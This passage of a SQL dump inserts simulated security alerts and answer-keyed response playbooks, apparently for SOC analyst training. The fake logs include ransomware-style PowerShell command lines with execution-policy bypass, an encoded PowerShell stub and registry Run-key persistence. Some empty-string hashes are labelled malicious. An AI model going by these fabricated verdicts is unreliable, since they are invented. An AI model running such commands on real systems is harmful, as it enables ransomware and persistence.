3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"MODIFY\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"file\\\":\\\"malicious.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.451Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"MODIFY\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"file\\\":\\\"malicious.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1545, 'Internal Network Reconnaissance', 'medium', 'Network Traffic Analysis', 'The attackers begin to explore the internal network, searching for critical systems and valuable data, preparing for further exploitation.', 'Lateral Movement', 'T1046: Network Service Scanning', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:07Z\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"10.0.2.15\",\"attacker_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"port\":445,\"user\":\"john.doe\",\"filename\":\"network_mapper.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event\":\"Suspicious network scanning detected\",\"additional_info\":{\"scan_type\":\"SMB\",\"attempts\":5,\"detected_by\":\"IDS\",\"previous_incidents\":\"None\"}}', '2026-03-15 19:12:00', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal workstation IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal server IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP used in multiple previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with network scanning malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"network_mapper.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual application used for network scanning.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Activity Logs\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1546, 'Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) System', 'Exfiltration of sensitive data has been detected, indicating the final stage of an attack where attackers prepare to leverage stolen information for ransom demands.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:27:03Z\",\"event_id\":\"EXFIL12345\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.50\",\"destination_port\":\"443\",\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"exfil_filename\":\"confidential_data.zip\",\"exfil_filehash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"alert\",\"message\":\"Data exfiltration attempt detected over HTTPS to external IP.\"}', '2026-03-15 19:12:00', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known exfiltration destination used in previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection and Response\",\"verdict\":\"suspicious\",\"details\":\"File previously flagged in similar exfiltration attempts.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Standard user credentials.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.455Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:03Z\\\",\\\"event_id\\\":\\\"EXFIL12345\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"confidential_data.zip\\\",\\\"exfil_filehash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"alert\\\",\\\"message\\\":\\\"Data exfiltration attempt detected over HTTPS to external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.455Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:03Z\\\",\\\"event_id\\\":\\\"EXFIL12345\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"confidential_data.zip\\\",\\\"exfil_filehash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"alert\\\",\\\"message\\\":\\\"Data exfiltration attempt detected over HTTPS to external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.455Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:03Z\\\",\\\"event_id\\\":\\\"EXFIL12345\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"confidential_data.zip\\\",\\\"exfil_filehash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"alert\\\",\\\"message\\\":\\\"Data exfiltration attempt detected over HTTPS to external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.455Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:03Z\\\",\\\"event_id\\\":\\\"EXFIL12345\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"confidential_data.zip\\\",\\\"exfil_filehash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"alert\\\",\\\"message\\\":\\\"Data exfiltration attempt detected over HTTPS to external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.455Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:27:03Z\\\",\\\"event_id\\\":\\\"EXFIL12345\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"confidential_data.zip\\\",\\\"exfil_filehash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"alert\\\",\\\"message\\\":\\\"Data exfiltration attempt detected over HTTPS to external IP.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1547, 'Suspicious Exchange Server Access Detected', 'high', 'Exchange Server Logs', 'The Play APT group begins their attack by exploiting known vulnerabilities in the Exchange server, aiming to establish a foothold within the network. Anomalous login attempt detected from an external IP associated with known malicious activity.', 'Initial Access', 'T1190', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T03:45:27Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"admin\",\"status\":\"failed\",\"error_code\":\"0xC000006A\",\"logon_type\":3,\"user_agent\":\"Mozilla/5.0\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"exploit_tool.exe\"}', '2026-03-15 19:12:22', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous APT campaigns targeting Exchange servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal Exchange server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Hash related to known exploit tool used by Play APT.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Privileged account used for administrative purposes.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"status\\\":\\\"failed\\\",\\\"error_code\\\":\\\"0xC000006A\\\",\\\"logon_type\\\":3,\\\"user_agent\\\":\\\"Mozilla/5.0\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"exploit_tool.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"status\\\":\\\"failed\\\",\\\"error_code\\\":\\\"0xC000006A\\\",\\\"logon_type\\\":3,\\\"user_agent\\\":\\\"Mozilla/5.0\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"exploit_tool.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"status\\\":\\\"failed\\\",\\\"error_code\\\":\\\"0xC000006A\\\",\\\"logon_type\\\":3,\\\"user_agent\\\":\\\"Mozilla/5.0\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"exploit_tool.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"status\\\":\\\"failed\\\",\\\"error_code\\\":\\\"0xC000006A\\\",\\\"logon_type\\\":3,\\\"user_agent\\\":\\\"Mozilla/5.0\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"exploit_tool.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"status\\\":\\\"failed\\\",\\\"error_code\\\":\\\"0xC000006A\\\",\\\"logon_type\\\":3,\\\"user_agent\\\":\\\"Mozilla/5.0\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"exploit_tool.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1548, 'Malicious Script Execution on Compromised Server', 'high', 'Endpoint Detection and Response (EDR)', 'An attacker executed a script on the compromised server to deploy ransomware payloads, initiating the encryption process on critical systems. Immediate attention is required to prevent data loss.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"event_id\":\"EDR123456\",\"host\":{\"hostname\":\"compromised-server\",\"ip\":\"192.168.1.45\"},\"user\":\"admin_user\",\"process\":{\"pid\":6789,\"name\":\"powershell.exe\",\"path\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\temp\\\\ransom_script.ps1\"},\"network\":{\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.10\",\"protocol\":\"TCP\",\"dst_port\":\"443\"},\"file\":{\"path\":\"C:\\\\temp\\\\ransom_script.ps1\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"},\"alert\":{\"type\":\"Malicious Script Execution\",\"level\":\"critical\",\"description\":\"Suspicious script execution detected, potentially used for ransomware deployment.\"}}', '2026-03-15 19:12:22', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address used by threat actors.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware script.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransom_script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal analysis\",\"verdict\":\"malicious\",\"details\":\"Filename of the ransomware script.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1549, 'Persistence Mechanism Installed', 'medium', 'System Registry Changes', 'Attackers have modified the system registry to establish persistence, ensuring continued access to the compromised network. This change allows them to return even if initial access is detected and blocked.', 'Persistence', 'T1547.001 - Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:34Z\",\"hostname\":\"compromised-host\",\"user\":\"malicious_user\",\"internal_ip\":\"192.168.1.100\",\"external_ip\":\"203.0.113.45\",\"registry_key_modified\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"registry_value\":\"C:\\\\Malware\\\\maliciousapp.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"Registry Key Created\"}', '2026-03-15 19:12:22', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with multiple attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used for persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Monitoring\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:34Z\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Malware\\\\\\\\maliciousapp.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Registry Key Created\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:34Z\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Malware\\\\\\\\maliciousapp.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Registry Key Created\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:34Z\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Malware\\\\\\\\maliciousapp.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Registry Key Created\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:34Z\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Malware\\\\\\\\maliciousapp.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Registry Key Created\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:34Z\\\",\\\"hostname\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\Malware\\\\\\\\maliciousapp.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Registry Key Created\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1550, 'Unusual Lateral Movement Activity', 'high', 'Network Traffic Analysis', 'Detected lateral movement from internal host 192.168.1.45 using compromised credentials to access additional network resources. The attacker is using tools to locate and prepare systems for encryption.', 'Lateral Movement', 'T1021 - Remote Services', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.0.0.23\",\"external_attacker_ip\":\"203.0.113.55\",\"protocol\":\"SMB\",\"username\":\"jdoe\",\"filename\":\"ransom_tool.exe\",\"file_hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"action\":\"attempted lateral movement\",\"event_id\":\"LM-456789\"}', '2026-03-15 19:12:22', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known suspicious IP address associated with prior attacks\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Compromised user 